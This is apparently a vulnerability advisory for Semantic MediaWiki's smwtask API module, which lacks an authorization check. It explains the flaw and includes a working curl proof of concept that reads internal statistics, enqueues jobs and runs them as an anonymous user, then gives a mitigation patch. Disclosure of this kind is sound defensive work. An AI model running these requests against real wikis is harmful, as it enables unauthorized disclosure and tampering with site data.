Semantic MediaWiki'a missing authorization in the smwtask API module allows unauthenticated access to admin-only maintenance tasks

### Summary The `api.php?action=smwtask` API module performs no authorization check. The equivalent maintenance interface in the web UI (`Special:SMWAdmin`) requires the `smw-admin` right, but the API module that backs several of the same operations enforces nothing. An unauthenticated visitor can therefore retrieve internal Semantic MediaWiki database statistics and reach state-changing maintenance operations that are intended to be administrator-only. ### Details `SMW\MediaWiki\Api\Task::execute()` (`src/MediaWiki/Api/Task.php`) reads the request parameters, resolves a task through `TaskFactory`, and runs it. It contains no permission check — no `smw-admin`, no `checkUserRightsAny()`, no per-task right. The only gates on the module are: - `needsToken( 'csrf' )` — this is **not** authorization. MediaWiki issues anonymous users a fixed, public CSRF token (`+\`), so any unauthenticated caller satisfies the token check. It defends logged-in users against CSRF; it does nothing against a direct anonymous request. - `mustBePosted()` / `isWriteMode()` — do not gate on group membership. By contrast, `Special:SMWAdmin` restricts access via `parent::__construct( 'SMWAdmin', 'smw-admin' )` and raises `PermissionsError` when the `smw-admin` right is absent. The API path bypasses that restriction entirely. Tasks reachable anonymously through the module include: - `table-statistics`, `duplicate-lookup` — return internal store statistics and enumerate the internal object-ID space (intended to be behind `Special:SMWAdmin` → Supplementary functions). - `insert-job` — enqueues any Semantic MediaWiki job type (including `smw.fulltextSearchTableRebuild`, `smw.propertyStatisticsRebuild`, `smw.entityIdDisposer`) for an arbitrary title. - `update`, `check-query`, `run-joblist` — run update jobs and `#ask` queries synchronously within the request; `run-joblist` pops and executes queued jobs inline. Because the read tasks disclose the internal object-ID space and `insert-job` can enqueue `smw.entityIdDisposer` with a specific `id` parameter, the exposure extends beyond information disclosure and resource consumption to targeted modification of stored semantic data. ### Proof of concept On a default installation, as an unauthenticated visitor: ``` # 1. Obtain the anonymous CSRF token (the fixed public value "+\") curl -s 'https://HOST/api.php?action=query&meta=tokens&type=csrf&format=json' # -> {"query":{"tokens":{"csrftoken":"+\\"}}} # 2. Read internal database statistics — HTTP 200 with the data curl -s -H 'Content-Type: application/x-www-form-urlencoded' \ --data-raw 'action=smwtask&task=table-statistics&params={}&token=%2B%5C&format=json' \ 'https://HOST/api.php' # -> {"task":{"list":{"smw_object_ids":{"total_row_count":49,"last_id":516,... # 3. Enqueue a maintenance job (state-changing) curl -s --data-urlencode 'action=smwtask' --data-urlencode 'task=insert-job' \ --data-urlencode 'params={"subject":"Main_Page#0##","job":"smw.fulltextSearchTableRebuild","parameters":{"mode":"full"}}' \ --data-urlencode 'token=+\' --data-urlencode 'format=json' 'https://HOST/api.php' # -> {"task":{"done":""}} (job now present in the queue) # 4. Execute queued jobs synchronously in the anonymous request curl -s --data-urlencode 'action=smwtask' --data-urlencode 'task=run-joblist' \ --data-urlencode 'params={"subject":"Main_Page#0##","jobs":{"smw.fulltextSearchTableRebuild":1}}' \ --data-urlencode 'token=+\' --data-urlencode 'format=json' 'https://HOST/api.php' # -> {"task":{"done":"","log":{"smw.fulltextSearchTableRebuild":["Main_Page"]}}} ``` Reproduced on `master` against a default install, with the requester confirmed anonymous (`action=query&meta=userinfo` returned `{"id":0,"anon":""}`). ### Impact An unauthenticated attacker can: - Retrieve internal Semantic MediaWiki database statistics — row counts, the last/highest internal object ID, per-namespace breakdowns, and blob term statistics — and enumerate the internal object-ID space. - Enqueue arbitrary Semantic MediaWiki maintenance jobs and force synchronous execution of update jobs, `#ask` queries, and queued jobs, degrading wiki performance. - Reach entity-disposal operations against enumerated object IDs, affecting the integrity of stored semantic data. Practical severity depends on deployment: the disclosed statistics are more sensitive on a populated wiki, and the performance and integrity impact scales with store size and job cost. ### Affected versions All releases that ship the `smwtask` API module (introduced in 3.x) up to and including the current release. ### Mitigation Upgrading to 7.3.0+ or apply a local patch in `localSettings.php` to disable the endpoint if you can't update: ```php $wgExtensionFunctions[] = static function () { unset( $GLOBALS['wgAPIModules']['smwtask'] ); }; ```